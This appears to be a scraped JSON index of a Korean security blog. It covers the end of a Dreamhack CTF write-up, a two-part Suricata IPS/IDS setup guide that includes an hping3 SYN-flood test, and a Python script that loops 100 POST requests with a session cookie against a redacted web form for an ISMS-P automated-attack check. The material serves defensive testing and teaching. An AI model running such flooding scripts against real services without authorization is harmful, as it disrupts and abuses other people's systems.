class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003emain함수를 따라가면서 살펴보면 먼저 관리자 이름을 name이라는 변수에 입력 받는다. 이후 What do you want?라는 문구와 함께 어떤 작업을 실행할 것인지 int형을 scanf로 입력 받는다. 이후 입력받은 값을 idx라는 변수에 넣고 system함수를 통해 command[idx]를 실행하고 프로그램은 종료한다.\u003c/p\u003e","title":"Dreamhack out_of_bound 문제풀이"},{"content":"우선 시작하기 앞서서 Suricata IPS의 테스트를 위한 플라스크 기반 서버를 만들었다. 이는 실무에서 적용될때 서비스 하고자 하는 대상의 서버가 될것이다.\n환경은 VM웨어의 Ubuntu 20.04버전을 기반으로 하였고 이 위에 Docker를 설치해 각 서버나 기능별로 컨테이너를 분리해 사용하려고 한다.\n그냥 기본적인 확인을 위한 서버이니 메인에 접속시 Hello, World를 표시해주는 아주 간단한 서버이다. 컨테이너의 이름은 server 이며\ndocker run -itd --name server -p 8080:8080 ubuntu:20.04 bash 위 명령어로 실행 한다.\n도커에서 suricata IPS모드를 사용하기 위해서는 관리자 권한을 필요로 한다. NFQ를 위한 설정을 해줘야 하는데 이를 iptables로 적용하고 도커에서 iptables를 사용하기 위해서 관지자 권한이 필요하기 때문이다. 따라서 컨테이너를 실행시킬때 privileged 옵션을 주어야 한다.\ndocker run -itd --name ips --privileged --net=container:server ubuntu:20.04 bash 위 명령어에서 \u0026ndash;privileged 옵션으로 관리자 권한을 줬고, \u0026ndash;net 옵션으로 server 컨테이너와 네트워크를 공유하도록 설정해주었다. \u0026ndash;net 옵션을 주고 server와 ips 컨테이너에서 ip를 확인하면 똑같은 ip를 할당받은 것을 볼수 있다.\n이제 suricata에서 제공하는 문서를 기반으로 설치를 해보자. 각 환경에서 코드를 빌드할 필요 없이, PPA방식으로 편하게 설치할 수 있다.\napt install iptables apt install software-properties-common add-apt-repository ppa:oisf/suricata-stable apt update apt install suricata jq ppa저장소를 추가하고 suricata와 로그를 볼때 도움이 되는 jq를 설치한다. ubuntu를 사용해본 사람이라면 여기까지 오래걸리지 않을 것이다.\nsuricata --build-info 위 명령어를 이용해 빌드 정보를 확인할수 있으며 나오는 정보는 다음과 같다.\n사진을 보면 NFQueue support에 yes로 되어있지 않으면 IPS모드를 사용할 수 없다.\nnano /etc/suricata/suricata.yaml 위 파일을 수정함으로써 suricata의 기본적인 설정을 진행한다. 필자는 nano에디터를 주로 쓰지만 각자 편한 에디터를 사용하면 된다. 위 설정으로 기본적인 HOME NETWORK와 각종 로그 등을 할수 있다. 기본적인 설정은 Suricata 최신 권장설정으로 되어있으나 환경에 따라서 바꿔야 할 부분을 수정한다.\n위와같이 필자는 도커 네트워크 기반이므로 172.17.0.0/24를 주었고 아이피는 호스트나 환경에 따라 달라질수 있다.\nport-groups: #HTTP_PORTS: \u0026#34;80\u0026#34; HTTP_PORTS: \u0026#34;8080\u0026#34; SHELLCODE_PORTS: \u0026#34;!80\u0026#34; ORACLE_PORTS: 1521 SSH_PORTS: 22 DNP3_PORTS: 20000 MODBUS_PORTS: 502 FILE_DATA_PORTS: \u0026#34;[$HTTP_PORTS,110,143]\u0026#34; FTP_PORTS: 21 GENEVE_PORTS: 6081 VXLAN_PORTS: 4789 TEREDO_PORTS: 3544 홈 네트워크 설정 아래있는 사용하는 포트 부분이다. 웹 서버를 8080포트로 오픈했으니 이에 맞게 수정해준다. 추가로 http-log가 비활성화 되어있는데 이를 활성화 해준다.\n- http-log: enabled: yes filename: http.log append: yes #extended: yes # enable this for extended logging information #custom: yes # enable the custom logging format (defined by customformat) #customformat: \u0026#34;%{%D-%H:%M:%S}t.%z %{X-Forwarded-For}i %H %m %h %u %s %B %a:%p -\u0026gt; #filetype: regular # \u0026#39;regular\u0026#39;, \u0026#39;unix_stream\u0026#39; or \u0026#39;unix_dgram\u0026#39; 수정 내용을 저장하고 탐지 룰 업데이트를 진행한다. 수리카타는\nsuricata-update 명령어로 통합 룰 업데이트를 지원한다. 다만 기본 룰들이 전부 alert로 되어있다. 이는 탐지는 하나 패킷드롭은 하지 않는다는 것이다. 옛날에는 오탐율 때문에 필요한 항목을 직접 드롭으로 바꿔주라는 글을 봤던 기억이 있다. 하나하나 확인하는게 좋지만 일단\u0026hellip;.문자열 치환을 이용해 alert를 전부 드롭으로 바꿔준다.\nsuricata 룰은 업데이트 되면서 통합되어 /var/lib/suricata/rules 위치에 suricata.rules 로 저장된다. 이를 정규식을 이용해 alert를 전부 drop으로 바꿔주면 ips모드에서 패킷 차단이 가능하다.\n#정규식 :%s/^alert/drop/ 치환전 룰인\n에서 vim을 이용해 위 정규식을 이용하면\n이런식으로 바꿔준 후 저장한다. 통합된 룰들을 확인해 보면 기본적으로 Suricata에서 제공하는 룰과 별도로 emergingthreats.net에서 제공하는 룰들이 같이 병합되어 있다.\n이후 NFQ 설정을 위해 iptables 옵션을 적용해준다. 이 설정을 적용하면 ips컨테이너와 같이 묶여있는 server 둘의 네트워크는 ips가 켜저있지 않으면 망 단절이 일어난다. 이게 인라인 IPS모드이다.\n명령어는 아래와 같다\napt install iptables iptables -I INPUT -j NFQUEUE iptables -I OUTPUT -j NFQUEUE 이후 Suricata를 IPS모드로 작동시켜 준다.\nsuricata -c /etc/suricata/suricata.yaml -q 0 그럼 다음과 같은 화면이 뜰것이다.\n이후\ntail -f /var/log/suricata/fast.log 를 통해 탐지로그를 살펴보자.\n이제 kali에서 hping3를 이용해 SYN Flooding을 시도해본다. 공격을 시도하는 순간 다음과 같은 로그들이 생성된다.\n자주가는 카페의 기본 IP와 충돌이 나 docker 네트워크 브짓지 대역을 192.168.64.0/24로 수정했습니다 위 사진을 보면 이상한 것이 있다. 분명히 막히긴 했는데 서버에서 공격지로 나가려다 비정상 트레픽으로 차단된 ACK 로그가 있다. 탐지 룰의 트레숄드 값에 의해 통과된 일부 트래픽에 대한 응답 트레픽이 탐지 된것 같다.\n또 다음사진을 보면 Suricata 경고로 flow경고가 나오고 있다. Suricata에 설정된 처리 트래픽 양보다 더 많은 트레픽이 들어와 뜨는 경고다. 따라서 기업이나 트레픽 양이 많은 곳에 적용할 경우 설정을 수정하고 IDS모드로 미리 테스트를 거친 후에 IPS모드로 전환해야 할 것 같다.\nhping3에서는 랜덤 ip를 통한 Flooding공격도 가능하다. 이를 테스트 해봤는데 결과는 다음과 같다.\n로그를 보면 ET DROP Spamhaus DROP Listed Traffic Inbound group이라고 되어있다. Spamhaus DROP이라는 그룹에서 DROP을 권장하는 IP리스트를 제공하고 있는데 이 리스트에 hping3의 임의ip가 포함되어 있는것 같다.\n이 IPS를 적용하고서 생기는 문제점들이 있다. 이번에 생긴 문제점은 기본적으로 적용한 DROP룰 중에 APT update 서버로 향하는 트레픽을 막는 룰이 추가되어 있다.\n따라서 이 룰을 Alert로 바꾸거나 주석 처리해야지 정상적인 apt update가 가능하다.\n이번에 생긴 업데이트 문제 뿐만 아니라 각 룰들이 업데이트 되면서 다른 문제가 생길 가능성도 있다. 이러한 것들을 직접 핸들링 하고 테스트 하면서 수정해 줘야 한다.\n","permalink":"https://dig06161.github.io/2022/03/04/Start-Suricata-chapter2/","summary":"\u003cp\u003e우선 시작하기 앞서서 Suricata IPS의 테스트를 위한 플라스크 기반 서버를 만들었다. 이는 실무에서 적용될때 서비스 하고자 하는 대상의 서버가 될것이다.\u003c/p\u003e\n\u003cp\u003e환경은 VM웨어의 Ubuntu 20.04버전을 기반으로 하였고 이 위에 Docker를 설치해 각 서버나 기능별로 컨테이너를 분리해 사용하려고 한다.\u003c/p\u003e\n\u003cp\u003e그냥 기본적인 확인을 위한 서버이니 메인에 접속시 Hello, World를 표시해주는 아주 간단한 서버이다. 컨테이너의 이름은 server 이며\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003edocker run -itd --name server -p 8080:8080 ubuntu:20.04 bash\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e위 명령어로 실행 한다.\u003c/p\u003e\n\u003cp\u003e도커에서 suricata IPS모드를 사용하기 위해서는 관리자 권한을 필요로 한다. NFQ를 위한 설정을 해줘야 하는데 이를 iptables로 적용하고 도커에서 iptables를 사용하기 위해서 관지자 권한이 필요하기 때문이다. 따라서 컨테이너를 실행시킬때 privileged 옵션을 주어야 한다.\u003c/p\u003e","title":"Suricata IPS, IDS 시작하기 2편(운용)"},{"content":"많은 기업에서 각종 엔터프라이즈 또는 일반 사용자에게 서비스 하기위해 서버를 운영하는것이 대부분이다. 이러한 서버를 운영하면서 외부 올바르지 않은 접근이나 공격에 대비하기 위해 UTM, IPS, WAF, FW, SIEM, proxy 서버, 로그수집 등 많은 장비를 서버와 같이 운영하고 있다.\nIPS(IDS)\n침입차단(방지)시스템으로 OSI 7 Layer의 3계층부터 7계층의 plain 데이터를 시그니쳐와 비교해 공격 유무를 탐지한다. IPS는 시그니쳐에 의한 탐지와 차단을 같이 진행하며 IDS는 탐지 기능만 제공하고 있다. 다만 오탐비율도 높은편이다. FW\n방화벽이라는 장비로 3계층과 4계층에서 IP, PORT를 보고 혀용된 IP나 PORT는 허용하고 나머지 트레픽을 차단하는 역할을 한다.\nip기반의 블랙기스트, 화이트리스트 기능이 사용 가능하고 특정 PORT에만 접근하도록 설정도 가능하며 ip, PORT기능을 복합적으로 사용헤 악의적이나 비인가 사용자에 대한 접근을 통제한다.\nWAF\nWAF는 웹 어플리케이션 방화벽의 약자로 기존의 방화벽이 3계층 4계층에서만 동작한 것의 한계를 벗어나 7계층에서 웹 어플리케이션에 대한 방화벽 기능을 제공한다. 일반적인 ip, PORT기반의 접근 통제보다 더 넓은 SQL Injection, 악성 스크립트 삽입 등 웹 서버에 대한 공격을 탐지하고 이를 차단하는 역할을 한다. UTM\n통합 위협 관리의 약자로 IPS, FW기능을 하나로 합친 장비라고 봐도 무방하다. 장비의 사양에 따라 WAF기능이 추가된 장비도 존재하며 기존의 2개 이상의 장비의 운영에 드는 비용이나 관리적 측면에 이점이 있다. 요즘 UTM장비는 무선렌 대응이 되는 모델도 존재하며 매우 다양한 회사의 장비가 존재하고 기기의 가격보다는 시그니쳐, 펌웨어 업데이트로 인한 엔터프라이즈 라이센스 비용이 매우 큰편이다. proxy 서버\n프록시 서버는 많은 웹 연결이 SSL 암호화로 이루어 지면서 보안장비에서 plain데이터 기반의 공격탐지가 불가능하다. 패킷들이 암호화 되면서 이들이 공격인지 아닌지에 대한 판단이 어렵기 때문이다. 그렇기 때문에 프록시 서버단에서 SSL 암호화를 진행하고 프록시 서버와 웹서버는 엄호화가 되지 않은 상태로 통신하게 되면서 중간에 보안장비가 패킷의 공격유무를 판단하는것이 일반적이다. 프록시 서버의 사용은 위 사례도 있지만 원래는 중간경유 서버를 주어 공격또는 장애에 대한 능동적인 방어를 위해 사용되었다. 예를 들면 A서버가 B라는 프록시 서버를 통해 서비스중인데 B를 목적지로 한 공격이 발생했다. 그럴경우 A서버는 피해가 적고 모든 피해는 B가 받게 되므로 프록시 서버만 다시 바꿔주면 정상적인 서비스가 가능하다. 프록시 서버 사용의 다른 목적으로는 로드벨런스 기능이 있다. 한 서비스에 대해 많은 사용자가 집중되는 경우 여러게의 미러서버를 두고 프록시 서버에서 부하를 분산해주는 역할을 한다. 로그수집\n보안장비에서 수집된 로그데이터들을 한번에 볼수 있게 수집해주는 장비이다. ELK, Sqlunk 등이 있으며 각 장비에서 수집된 로그를 키워드 별로 바인딩 한 후 데시보드를 통해 원하는 로그를 보여준다. SIEM\nSIEM은 보안정보 이벤트 관리의 약자이다. SIEM장비를 처음 써본건 군에 있을때 이다. 군에서는 부대별로 SIEM장비를 도입하고 군단급 이상 사령부에서는 예하 부대의 국방망, 인터넷망, 전술망에 대한 통합 2차 관제를 수행했다. 필자가 있던 군단급에서는 인터넷 망을 제외한 국방망, 전술망에 대한 관제를 진행할때 Splunk에 있는 SIEM을 주로 사용했다. Splunk는 spl이라는 데이터 질의어를 이용해 공격으로 예상되는 시나리오를 작성하고 이에 대한 로그들을 볼수 있게 해준다. 설명이 길었다. 각설하고 이번 포스트의 목적은 오픈소스 IPS, IDS인 수리카타(Suritaca)를 소개하고 다음 포스트에서 수리카타의 기본적인 설치와 모의공격을 테스트 해볼 예정이다.\n오픈소스 IPS, IDS로는 Suricata와 Snort이며 Snort는 단일 스레드 기반으로 작동한다. 따라스 그만한 성능저하가 예상되는데 이를 개선하여 나온 Suricata는 다중스레드 기반으로 동작하는 프로그램이다.\n수리카타의 공식 홈페이지는 https://suricata.io/ 이다. 위에 접속하면 기본 도큐먼트로 설치와 운용가이드가 나와있다. 이 포스트는 공식 문서를 바탕으로 작성되었다.\n수리카타는 패킷 복제 기반인 IDS와 인라인 기반인 IPS를 둘다 지원하는 오픈소스이다. 이러한 오픈소스는 탐지현황 데시보드가 기본적으로 지원되지 않지만, Splunk나 ELK를 통해 데이터 시각화가 가능하다.\n필자는 외부로 서버를 장기간 오픈할 일이 있을때 수리카타를 같이 운용하는 편이며 기본적인 네트워크 구성도는 다음과 같다.\n위 그림처럼 Docker를 통해 구성하며 필요에 따라서 프록시 서버를 FW으로 대체할수도, 구성이 바뀔수도 있다.\n위 구성으로 한달 좀 넘게 프로젝트 개발용 서버를 운용해본 결과 오탐도 있었지만 많은 종류의 공격이 들어오는걸 볼수 있었다.\n공개된지 얼마 안된 취약점이 공격으로 들어오는 경우도 있고, 디렉터리 리스팅, RCE 공격 등 다양한 공격이 탐지되었다. 보통은 외국에서 들어왔고 이중 오탐도 있었지만 직접 로그를 뜯어봤을때 무차별 대입공격도 확인되었다.\n외국에서는 봇을 만들어서 무차별적으로 공격을 떄리는 단체가 있다고 하는데 이런 공간에 서버를 그냥 오픈해놨다는게 너무 안일했다는 생각이 든다.\n다음 포스트에서는 수리카타를 직접 설치하고 위 구성도 처럼 서버를 구성하는것을 포스팅 할 예정이다.\n","permalink":"https://dig06161.github.io/2022/02/28/Start-Suricata-chapter1/","summary":"\u003cp\u003e많은 기업에서 각종 엔터프라이즈 또는 일반 사용자에게 서비스 하기위해 서버를 운영하는것이 대부분이다. 이러한 서버를 운영하면서 외부 올바르지 않은 접근이나 공격에 대비하기 위해 UTM, IPS, WAF, FW, SIEM, proxy 서버, 로그수집 등 많은 장비를 서버와 같이 운영하고 있다.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eIPS(IDS)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e침입차단(방지)시스템으로 OSI 7 Layer의 3계층부터 7계층의 plain 데이터를 시그니쳐와 비교해 공격 유무를 탐지한다.\u003c/li\u003e\n\u003cli\u003eIPS는 시그니쳐에 의한 탐지와 차단을 같이 진행하며 IDS는 탐지 기능만 제공하고 있다. 다만 오탐비율도 높은편이다.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFW\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e방화벽이라는 장비로 3계층과 4계층에서 IP, PORT를 보고 혀용된 IP나 PORT는 허용하고 나머지 트레픽을 차단하는 역할을 한다.\u003c/p\u003e","title":"Suricata IPS, IDS 시작하기 1편(설명)"},{"content":"ISMS-P(정보보호 및 개인정보보호관리체계)인증을 충족하기 위해 웹 모의 해킹을 진행했던 경험이 있습니다. 이 ISMS-P 검사 항목중에 자동화 공격에 대한 진단 항목이 있습니다. 이 항목을 진단할때 python코드를 작성해 반복문으로 POST요청을 다량으로 발생시켜 공격을 시도 했습니다.\n이에 관련된 코드를 올려봅니다.\n단순히 while문으로 반복적인 요청을 보내는 코드입니다.\nimport urllib.parse import urllib.request a = 1 while(a \u0026lt;= 100): #웹 POST요청에 대한 파라미터들을 json형식으로 정의해 줍니다. details = urllib.parse.urlencode({\u0026#39;mm\u0026#39;:\u0026#39;voc\u0026#39;, \u0026#39;sm\u0026#39;:\u0026#39;ins\u0026#39;, \u0026#39;pg\u0026#39;:\u0026#39;1\u0026#39;, \u0026#39;regCd\u0026#39;:\u0026#39;\u0026#39;, \u0026#39;regName\u0026#39;:\u0026#39;\u0026#39;, \u0026#39;Title\u0026#39;:\u0026#39;취약점 점검중\u0026#39;, \u0026#39;WriterName\u0026#39;:\u0026#39;yunjoker\u0026#39;, \u0026#39;Tel1\u0026#39;:\u0026#39;123\u0026#39;, \u0026#39;Tel2\u0026#39;:\u0026#39;123\u0026#39;, \u0026#39;Tel3\u0026#39;:\u0026#39;123\u0026#39;, \u0026#39;EmailId\u0026#39;:\u0026#39;123\u0026#39;, \u0026#39;EmailDomain\u0026#39;:\u0026#39;naver.com\u0026#39;, \u0026#39;agree1\u0026#39;:\u0026#39;1\u0026#39;, \u0026#39;Content\u0026#39;:\u0026#39;ㅁㄴㅇㄹ\u0026#39;}) #인코딩 유형을 설정합니다 details = details.encode(\u0026#39;UTF-8\u0026#39;) #요청 URL을 추가합니다 url = urllib.request.Request(\u0026#34;https://***/common/process/process.inquiry.php\u0026#34;, details) #Burp Suite 등의 프로그램이나 기능을 이용해 쿠키값들을 그대로 헤더에 추가해 줍니다. url.add_header(\u0026#34;POST\u0026#34;, \u0026#34;/common/process/process.inquiry.php HTTP/1.1\u0026#34;) url.add_header(\u0026#34;Host\u0026#34;, \u0026#34;***\u0026#34;) url.add_header(\u0026#34;Connection\u0026#34;, \u0026#34;close\u0026#34;) url.add_header(\u0026#34;Content-Length\u0026#34;, \u0026#34;360\u0026#34;) url.add_header(\u0026#34;Accept\u0026#34;, \u0026#34;application/json, text/javascript, */*; q=0.01\u0026#34;) url.add_header(\u0026#34;X-Requested-With\u0026#34;, \u0026#34;XMLHttpRequest\u0026#34;) url.add_header(\u0026#34;User-Agent\u0026#34;, \u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36\u0026#34;) url.add_header(\u0026#34;Sec-Fetch-Mode\u0026#34;, \u0026#34;cors\u0026#34;) url.add_header(\u0026#34;Content-Type\u0026#34;, \u0026#34;application/x-www-form-urlencoded\u0026#34;) url.add_header(\u0026#34;Sec-Fetch-Site\u0026#34;, \u0026#34;same-origin\u0026#34;) url.add_header(\u0026#34;Referer\u0026#34;, \u0026#34;***\u0026#34;) url.add_header(\u0026#34;Accept-Encoding\u0026#34;, \u0026#34;gzip, deflate\u0026#34;) url.add_header(\u0026#34;Accept-Language\u0026#34;, \u0026#34;ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\u0026#34;) url.add_header(\u0026#34;Cookie\u0026#34;, \u0026#34;_ga=GA1.2.1167119943.1572314702; _gid=GA1.2.304601219.1572314702; PHPSESSID=n07lta0bu412bcsk0q9jejvoh7; _gat_gtag_UA_74704901_2=1\u0026#34;) #POST요청 후 리스폰스 데이터를 ResponseData 변수에 저장합니다. ResponseData = urllib.request.urlopen(url).read().decode(\u0026#34;utf-8\u0026#34;) #리스폰스 데이터를 출력합니다 print(ResponseData) a = a+1 ","permalink":"https://dig06161.github.io/2022/01/25/python-automated-http-post/","summary":"\u003cp\u003eISMS-P(정보보호 및 개인정보보호관리체계)인증을 충족하기 위해 웹 모의 해킹을 진행했던 경험이 있습니다. 이 ISMS-P 검사 항목중에 자동화 공격에 대한 진단 항목이 있습니다. 이 항목을 진단할때 python코드를 작성해 반복문으로 POST요청을 다량으로 발생시켜 공격을 시도 했습니다.\u003c/p\u003e\n\u003cp\u003e이에 관련된 코드를 올려봅니다.\u003c/p\u003e\n\u003cp\u003e단순히 while문으로 반복적인 요청을 보내는 코드입니다.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003eurllib.parse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003eurllib.request\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"mi\"\u003e100\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e#웹 POST요청에 대한 파라미터들을 json형식으로 정의해 줍니다.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003edetails\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eurllib\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eurlencode\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;mm\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;voc\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;sm\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;ins\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;pg\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;regCd\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;regName\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                                     \u003cspan class=\"s1\"\u003e\u0026#39;Title\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;취약점 점검중\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;WriterName\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;yunjoker\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                                     \u003cspan class=\"s1\"\u003e\u0026#39;Tel1\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;123\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Tel2\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;123\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Tel3\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;123\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;EmailId\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;123\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                                     \u003cspan class=\"s1\"\u003e\u0026#39;EmailDomain\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;naver.com\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;agree1\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Content\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;ㅁㄴㅇㄹ\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e#인코딩 유형을 설정합니다\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003edetails\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003edetails\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;UTF-8\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e#요청 URL을 추가합니다\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eurl\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eurllib\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erequest\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eRequest\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;https://***/common/process/process.inquiry.php\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003edetails\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e#Burp Suite 등의 프로그램이나 기능을 이용해 쿠키값들을 그대로 헤더에 추가해 줍니다.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd_header\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;POST\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;/common/process/process.inquiry.php HTTP/1.1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan 